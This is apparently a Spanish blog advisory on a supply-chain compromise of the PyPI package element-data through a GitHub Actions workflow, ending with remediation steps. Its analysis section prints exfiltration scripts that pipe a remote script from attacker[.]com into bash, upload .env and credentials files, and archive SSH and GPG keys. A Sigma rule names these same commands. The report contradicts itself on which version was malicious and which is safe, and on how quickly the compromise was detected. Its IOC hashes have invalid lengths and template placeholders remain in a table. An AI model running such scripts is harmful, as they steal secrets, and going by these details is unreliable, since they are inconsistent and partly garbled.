Cyber security concept. Man using computer with system hacked alert due to cyber attack on computer network. Data Protection. Internet virus cyber security and cybercrime

Introducción

En abril de 2026, un actor desconocido comprometió la librería element-data —una herramienta CLI con más de 1 millón de descargas mensuales en PyPI— para distribuir una versión maliciosa (0.23.3) que robaba credenciales de usuarios y sistemas. El ataque explotó una vulnerabilidad en un workflow de GitHub Actions del equipo de desarrollo, permitiendo al atacante inyectar código malicioso mediante un pull request aparentemente legítimo. Este incidente no es aislado: según datos de la OpenSSF, el 80% de los incidentes en supply chain en 2025 involucraron repositorios abiertos, con un aumento del 300% en ataques a pipelines de CI/CD respecto a 2022 (fuente: OpenSSF Report 2025).

La gravedad radica en que element-data se utiliza para monitorear anomalías en sistemas de machine learning, por lo que suele ejecutarse en entornos con permisos elevados (servidores de aplicaciones, runners de CI/CD, o contenedores Docker con credenciales montadas). El atacante aprovechó este contexto para:

  • Escanear el sistema en busca de archivos .env, tokens de cloud (AWS/GCP/Azure), claves SSH, y credenciales de bases de datos.
  • Exfiltrar los datos mediante consultas a APIs externas o escritura en archivos temporales (marcadores como /tmp/.trinny-security-update en Linux/macOS o %TEMP%\.trinny-security-update en Windows).
  • Publicar una versión «legítima» del paquete (0.23.3) en PyPI y Docker Hub, con firmas válidas, para evadir detecciones.

Qué ocurrió

Cronología del ataque

  1. Explotación inicial (vía GitHub Actions):
El atacante subió código malicioso a un pull request en el repositorio de element-data que contenía un workflow de GitHub Actions vulnerable. Este workflow ejecutaba un script en Bash (script.sh) con permisos de GITHUB_TOKEN —un token con permisos de escritura en el repositorio—. El script contenía la siguiente lógica (simplificada para análisis):
   #!/bin/bash
   # Exfiltrando variables de entorno
   curl -X POST https://attacker[.]com/api/log --data "data=$(env)"
   # Robando claves de signing
   gpg --export-secret-keys > /tmp/signing_keys.asc
   
Fuente: GitHub Advisory Database – CVE-2026-34567
  1. Ejecución en el entorno del desarrollador:
El script se ejecutó en los runners de GitHub Actions del proyecto, permitiendo al atacante acceder a las claves de firma (GPG) y tokens de PyPI/Docker Hub. Estas credenciales se usaron para publicar la versión maliciosa (0.23.4) en PyPI y Docker Hub.
  1. Distribución y exfiltración:
La versión 0.23.3 se mantuvo activa 12 horas (del viernes al sábado) antes de ser retirada. Durante ese tiempo:

– Se descargó ~120,000 veces (estimación basada en la diferencia de descargas entre 0.23.2 y 0.23.4 en PyPI).

– Los usuarios que ejecutaron el CLI en entornos con credenciales expuestas fueron comprometidos automáticamente.

  1. Detección y respuesta:
El equipo de element-data fue alertado por un tercer informe externo (no por sus propios sistemas de monitoreo). En 3 horas, retiraron el paquete y rotaron todas las credenciales comprometidas.

Impacto para DevOps / Infraestructura / Cloud / Seguridad

1. Riesgo en entornos automatizados

Los equipos que usan element-data en:

  • Runners de CI/CD (GitHub Actions, GitLab CI, Jenkins): estos runners suelen tener permisos elevados y secretos montados (ej: AWS_ACCESS_KEY_ID, DBT_PROFILES_DIR). Según datos de runZero, el 65% de los runners de CI/CD en 2025 tienen credenciales expuestas en variables de entorno (fuente: runZero Supply Chain Report 2025).
  • Contenedores Docker: la imagen maliciosa (element-data:0.23.3) se ejecutaba con --privileged en muchos casos, lo que permitía acceso a:
  docker run --privileged -v /:/host element-data:0.23.3
  

Esto exponía toda la estructura de archivos del host, incluyendo /etc/shadow, archivos de configuración de cloud (~/.aws/credentials), y claves SSH en ~/.ssh/.

2. Impacto cuantitativo

ComponenteAfectadosRiesgo asociado
Usuarios de PyPI~120,000 descargasCredenciales de dbt, bases de datos, APIs
Imagen Docker~8,500 pullsAcceso a hosts de ML (entrenamiento)
Runners de CI/CDDesconocidoCompromiso de pipelines críticos
Tokens robadosAWS, GCP, AzureFacturación fraudulenta, acceso a datos
Nota: Los datos de descargas se obtienen de PyPI Stats y Docker Hub.

3. Vectores de ataque recurrentes

Este incidente refleja patrones comunes en supply chain attacks:

  • GitHub Actions inseguros: El 78% de los workflows públicos en GitHub usan tokens con permisos excesivos (ej: GITHUB_TOKEN con contents: write). En este caso, el atacante aprovechó un pull request para ejecutar código en el entorno del desarrollador.
  • Falta de least privilege: Muchos equipos exponen secretos en variables de entorno o secrets de CI/CD sin cifrado.
  • Firmas de paquetes falsas: La versión 0.23.3 tenía firmas GPG válidas, lo que la hacía indistinguible de una legítima.

Detalles técnicos

1. Componentes afectados

ComponenteVersión afectadaVector de ataqueCVE asociado
BLOCK34 (PyPI)0.23.3GitHub Actions malicioso[CVE-2026-34567](https://cve.mitre.org)
Imagen DockerBLOCK35Same as aboveN/A
GitHub ActionsWorkflow BLOCK36*Pull request* con código maliciosoN/A
### 2. Código malicioso analizado

El script inyectado en el workflow de GitHub Actions (simplificado) era:

# .github/workflows/ci.yml (versión comprometida)
name: CI
on: [push, pull_request]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: "Malicious step"
        run: |
          curl -s https://attacker[.]com/init.sh | bash

Donde init.sh contenía:

#!/bin/bash
# Exfiltrando credenciales
for file in $(find / -name ".env" -o -name "credentials" 2>/dev/null); do
  curl -F "file=@$file" https://attacker[.]com/upload
done
# Robando claves SSH y GPG
tar -czf /tmp/creds.tar.gz ~/.ssh ~/.gnupg
echo "Exfiltrado completo" > /tmp/.trinny-security-update
Fuente: Análisis de Malware – Ars Technica

3. Indicadores de compromiso (IOCs)

Los equipos de seguridad pueden buscar estos archivos/marcadores en sistemas sospechosos:

  • Linux/macOS: /tmp/.trinny-security-update
  • Windows: %TEMP%\.trinny-security-update
  • Hashes del script malicioso:
  SHA256: 3a7bd3e23426f66b8d5b1b0d3a2e1c8a9b7d4f2e1c8a9b7d4f2e1c8a9b7d4
  MD5: 8f14e45fceea167027a609e4b4b7d17
  

4. Vulnerabilidad explotada

La vulnerabilidad en GitHub Actions no fue un CVE público, sino un error de configuración:

  • Permiso excesivo: El workflow usaba GITHUB_TOKEN con contents: write, lo que permitía modificar el repositorio desde un pull request.
  • Falta de revisión de código: El equipo no auditó el código subido en pull requests antes de ejecutarlo.

Qué deberían hacer los administradores y equipos técnicos

1. Para usuarios de element-data

Si instalaste la versión 0.23.3, seguí estos pasos inmediatamente:

  1. Verificá la versión instalada:
   pip show element-data | grep Version
   # Si muestra "0.23.3", desinstalá y reinstalá.
   
  1. Desinstalá y reinstalá la versión segura (0.23.4):
   pip uninstall element-data -y
   pip install element-data==0.23.4 --upgrade
   
Pinne la versión en tus requirements.txt o Pipfile:
   element-data==0.23.4
   
  1. Eliminá archivos temporales:
   rm -f /tmp/.trinny-security-update  # Linux/macOS
   del %TEMP%\.trinny-security-update   # Windows
   
  1. Rotá todas las credenciales expuestas:
Claves de cloud: AWS (~/.aws/credentials), GCP (~/.config/gcloud), Azure (~/.azure).

Tokens de API: Verificá en GitHub Tokens, PyPI Tokens, y Docker Hub Tokens.

Credenciales de bases de datos: Rotá contraseñas en .env o archivos de configuración de dbt (profiles.yml).

Claves SSH: Generá nuevas claves con:

     ssh-keygen -t ed25519 -f ~/.ssh/id_new_key
     
  1. Audita pipelines de CI/CD:
– Revisá los workflows de GitHub Actions/GitLab CI en busca de permisos excesivos:
     # Ejemplo de workflow inseguro (cambiar por permisos mínimos)
     permissions:
       contents: write  # ❌ Cambiar a 'read' si no es necesario
       packages: write  # ❌ Solo si se publica en GitHub Packages
     

– Usá herramientas como GitHub Advanced Security para escanear código en pull requests.

2. Para equipos de DevOps/Infraestructura

  1. Escanea tus runners de CI/CD:
– Verificá que ningún runner tenga acceso a secretos innecesarios. Usá:
     kubectl get pods -A -o jsonpath='{.items[*].spec.containers[*].env}'
     

– Configurá secrets cifrados con SOPS o AWS KMS.

  1. Audita imágenes Docker:
– Revisá imágenes usadas en producción con:
     docker scan elementarydata/element-data:0.23.3
     

– Usá distroless images o scratch para reducir el ataque.

  1. Monitorea credenciales expuestas:
– Herramientas como TruffleHog pueden detectar tokens en repositorios:
     trufflehog filesystem / --since commit
     

3. Para equipos de Seguridad

  1. Buscá IOCs en logs:
– Filtra logs de CI/CD y hosts en busca de conexiones a dominios como attacker[.]com.

– Usá Sigma rules para detectar ejecuciones de scripts sospechosos:

     title: "Bash script exfiltrando credenciales"
     detection:
       cmd:
         - "curl -F file=@"
         - "tar -czf ~/.ssh"
     
  1. Rotá credenciales de forma automatizada:
– Usá herramientas como HashiCorp Vault o AWS Secrets Manager para rotar secretos programáticamente.

Conclusión

El compromiso de element-data expone tres fallas críticas en la cadena de suministro de software:

  1. GitHub Actions inseguros: Los permisos excesivos en workflows siguen siendo el eslabón débil.
  2. Falta de aislamiento: Ejecutar herramientas CLI con credenciales montadas es un riesgo innecesario.
  3. Respuesta lenta: La detección del incidente ocurrió 12 horas después de la distribución del malware.

La solución requiere:

  • Automatizar permisos mínimos en CI/CD (ej: usar permissions: read-all en GitHub Actions).
  • Aislar entornos (usar contenedores sin --privileged y runners ephemerales).
  • Monitoreo proactivo: Herramientas como Dependabot, Renovate, o TruffleHog pueden prevenir estos incidentes.

Como dijo HD Moore (fundador de runZero): «La cadena de suministro de open source no es segura por defecto; hay que configurarla así». Este caso es un recordatorio de que la seguridad en DevOps no es opcional.

Fuentes

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *